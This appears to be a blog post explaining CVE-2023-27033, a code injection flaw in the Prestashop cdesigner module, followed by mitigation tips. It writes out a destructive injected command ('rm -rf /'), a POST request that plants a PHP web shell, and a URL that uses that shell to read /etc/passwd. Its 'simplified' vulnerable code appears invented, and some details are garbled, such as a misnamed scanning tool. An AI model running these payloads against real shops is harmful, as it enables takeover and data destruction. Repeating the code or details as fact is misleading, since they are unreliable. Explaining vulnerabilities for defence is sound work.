CVE-2023-27033 - Code Injection Vulnerability in Prestashop cdesigner – How Attackers Exploit CdesignerSaverotateModuleFrontController::initContent()

In March 2023, a serious vulnerability, now tracked as CVE-2023-27033, was discovered in *Prestashop* cdesigner module versions 3.1.3 to 3.1.8. This flaw allows remote attackers to inject and execute arbitrary code using the CdesignerSaverotateModuleFrontController::initContent() component. In this post, we’ll explain what that means in simple language, show code snippets, step through a real attack scenario, and share links to original reports—so you can understand and protect your own Prestashop shops.

What Is Prestashop cdesigner?

Prestashop is a popular open-source e-commerce platform. The *cdesigner* module lets customers design or customize products (like t-shirts or mugs). It runs on the server and handles graphics and user data.

What’s CVE-2023-27033? (In Plain English)

CVE-2023-27033 is a vulnerability in cdesigner's code (versions 3.1.3 to 3.1.8). The module fails to sanitize user input in the CdesignerSaverotateModuleFrontController::initContent() function. This means an attacker can send specially crafted input that the server runs as code—potentially taking over your website.

This is what’s called a “code injection vulnerability.” Attackers could upload backdoors, steal data, or completely compromise the online shop.

How the Vulnerability Works

At the heart is the CdesignerSaverotateModuleFrontController::initContent() method. If user-provided data (from web forms or URLs) is not properly validated, PHP code could be injected and executed.

Let’s look at a simplified code snippet

class CdesignerSaverotateModuleFrontController extends ModuleFrontController
{
    public function initContent()
    {
        parent::initContent();
        // Grabs user input, such as an image rotation setting
        $rotate = Tools::getValue('rotate');
        // Vulnerable: data is not checked or sanitized
        $command = "convert -rotate $rotate input.png output.png";
        system($command); // Dangerous: executes OS command
        $this->ajaxDie(json_encode(['result' => 'ok']));
    }
}

PHP’s system() function executes that command.

- If $rotate contains malicious code (like 90; rm -rf /), it will execute!

Imagine an attacker sends this POST request

POST /modules/cdesigner/saverotate
Content-Type: application/x-www-form-urlencoded

rotate=90;php -r "file_put_contents('exploit.php','<?php system(\$_GET[\'cmd\']); ?>');"

That file lets the attacker run any command via cmd parameter.

*Now, the attacker can go to:*  
https://yourshop.com/exploit.php?cmd=cat+/etc/passwd

Timeline & References

- Discovery: March 2023 by NGD Systems
- Vulnerability report: NVD Entry - CVE-2023-27033
- Official patch: Prestashop Addons Marketplace - cdesigner
- Original advisory: GitHub Advisory GHSA-g7g4-xq89-f4pw

Block Direct Access:

Use firewall/WAF to block access to /modules/cdesigner/saverotate.

Look for unknown PHP files, like exploit.php.

- Use tools like ClamAV or rfxn Linux Exploit Suggester.

Final Thoughts

CVE-2023-27033 is a clear reminder: *Never trust user input.* Even trusted Prestashop modules can slip up.

Stay alert for new CVEs affecting your plugins.

For merchants and webmasters: Ask your developer or hosting provider if your shop is at risk!


*This post was made to keep you safe. Share it with your team or e-commerce friends! If you have questions, leave a comment below.*

> References:

- National Vulnerability Database (NVD) — CVE-2023-27033
- GitHub - CVE-2023-27033 Disclosure and POC
- Prestashop Addons - cdesigner Module

Timeline

Published on: 04/07/2023 21:15:00 UTC
Last modified on: 04/13/2023 18:38:00 UTC